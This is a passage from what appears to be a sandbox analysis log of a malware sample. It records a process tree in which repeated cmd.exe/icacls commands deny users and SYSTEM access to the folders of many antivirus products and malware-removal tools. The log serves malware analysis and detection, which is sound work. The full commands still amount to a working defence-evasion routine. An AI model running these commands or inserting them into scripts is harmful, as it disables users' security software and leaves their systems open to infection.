      C:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
      4⤵
      PID:5668
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe " /c " & "icacls "C:\FRST" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:6140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\FRST /deny system:(OI)(CI)(F)
      4⤵
      PID:1808
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\FRST /deny system:(OI)(CI)(F)
        5⤵
        
        PID:4624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:212
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\360" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:4920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5544
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\360safe" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:3140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:2892
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\SpyHunter" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:1060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5468
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Malwarebytes" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5128
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\COMODO" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:4160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4348
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Enigma Software Group" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:2028
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\SpyHunter" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:2728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:2356
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\AVAST Software" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:5760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5768
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\AVAST Software" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4360
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\AVAST Software" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4000
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\AVG" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3832
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4776
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\AVG" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5164
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Norton" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1644
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3896
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4356
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
      4⤵
      PID:5036
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3980
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5600
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
      4⤵
      PID:5232
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2176
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:1928
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
      4⤵
      PID:116
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
        5⤵
        
        PID:3136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\Program Files\HitmanPro" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4840
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\Program Files\HitmanPro" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3212
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:1788
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:2452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4140
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:6128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3448
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:5272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5140
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5300
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:5668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
      4⤵
      PID:228
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
        5⤵
        
        PID:5292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3052
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
      4⤵
      PID:5936
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4972
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Bitdefender Agent" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:4816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)
      4⤵
      PID:4392
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3140
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4044
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\DrWeb" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4768
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)
      4⤵
      PID:1256
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)
        5⤵
        
        PID:5468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:1172
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Common Files\Doctor Web" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)
      4⤵
      PID:5128
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5640
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)
        5⤵
        
        PID:4468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:2880
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3940
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Common Files\AV" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)
      4⤵
      PID:4796
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)
        5⤵
        
        PID:4984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:2528
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Doctor Web" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:5516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:2728
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\grizzly" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5952
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4384
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\Cezurity" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5736
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Cezurity" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4592
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\McAfee" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5788
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Common Files\McAfee" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Rainmeter" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4120
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3948
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\program files\Rainmeter" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:6124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Loaris Trojan Remover" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:2300
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\program files\Loaris Trojan Remover" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3868
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Avira" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:5180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3832
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4408
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\ESET" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:3432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
      4⤵
      PID:5732
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3476
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:408
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Process Lasso" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:5708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)
      4⤵
      PID:3896
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:628
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Ravantivirus" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)
      4⤵
      PID:3536
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4488
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Evernote" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3524
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)
      4⤵
      PID:4680
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3980
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\WavePad" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3080
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\WavePad" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:1856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\WavePad" /deny system:(OI)(CI)(F)
      4⤵
      PID:6096
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\WavePad" /deny system:(OI)(CI)(F)
        5⤵
        
        PID:5408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\RobotDemo" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:1192
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5684
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\RobotDemo" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:6032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\RobotDemo" /deny system:(OI)(CI)(F)
      4⤵
      PID:980
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\RobotDemo" /deny system:(OI)(CI)(F)
        5⤵
        
        PID:5400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\PuzzleMedia" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:1916
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\PuzzleMedia" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:6128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\PuzzleMedia" /deny system:(OI)(CI)(F)
      4⤵
      PID:2444
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5504
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\PuzzleMedia" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:924
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\ESET" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:5272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
      4⤵
      PID:2800
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\FingerPrint" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:60
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5212
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\FingerPrint" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:6136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\FingerPrint" /deny system:(OI)(CI)(F)
      4⤵
      PID:4116
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2568
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\FingerPrint" /deny system:(OI)(CI)(F)
        5⤵
        
        PID:1000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\BookManager" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:528
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\BookManager" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\BookManager" /deny system:(OI)(CI)(F)
      4⤵
      PID:5824
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\BookManager" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4952
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:892
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\Panda Security" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\IObit\Advanced SystemCare" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5544
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4320
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\IObit\Advanced SystemCare" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\Program Files (x86)\IObit\IObit Malware Fighter" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:2160
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\Program Files (x86)\IObit\IObit Malware Fighter" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3260
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\Program Files (x86)\Transmission" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:1796
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\Program Files (x86)\Transmission" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\Program Files\Transmission" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:184
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\Program Files\Transmission" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Hacker 2" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4560
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Process Hacker 2" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\princeton-produce" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3700
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4984
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\princeton-produce" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:2476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\EnigmaSoft" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:1440
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\EnigmaSoft" /deny "Admin":(OI)(CI)(F)
        5⤵
        
        PID:3756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\SUPERAntiSpyware" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3296
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\program files\SUPERAntiSpyware" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\PROGRAM FILES\RogueKiller" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3692
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\PROGRAM FILES\RogueKiller" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Moo0" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:6024
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\Moo0" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5696
  - - C:\Windows\system32\cmd.exe
